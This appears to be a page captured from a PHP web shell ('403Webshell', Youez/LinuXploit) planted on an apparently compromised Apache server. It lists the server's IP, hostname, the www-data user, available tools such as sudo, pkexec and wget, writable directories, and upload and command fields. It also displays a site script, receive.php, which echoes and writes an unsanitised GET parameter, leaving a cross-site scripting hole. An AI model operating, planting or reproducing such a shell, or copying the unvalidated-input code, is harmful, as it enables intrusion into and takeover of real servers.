403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/tabledm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/tabledm/receive.php
<?php
ini_set('display_errors', '1');

//include 'db_connection.php';




//$conn = OpenCon();
//echo "Connected Successfully";


$url="";

$sdata=$_GET['sdata'];

$edata=explode(";", $sdata);

$table_number=(int)$edata[0];
$table_indicator=$edata[1];

echo($table_indicator);

$file = fopen("tables.txt", "r+") or exit("Unable to open file!");
$line = fgets($file);
fseek($file,0);

$arrline=explode(";", $line);
$arrline[$table_number] = $table_indicator;
//$arrline[$table_number] = '1';
echo($arrline[$table_number]);
$wline=implode(";",$arrline);
fwrite($file,$wline);

fclose($file);
  
//echo($table_indicator);

//CloseCon($conn);

if($table_indicator=='0'){
	header('Location: index.php');
}


?>


Youez - 2016 - github.com/yon3zu
LinuXploit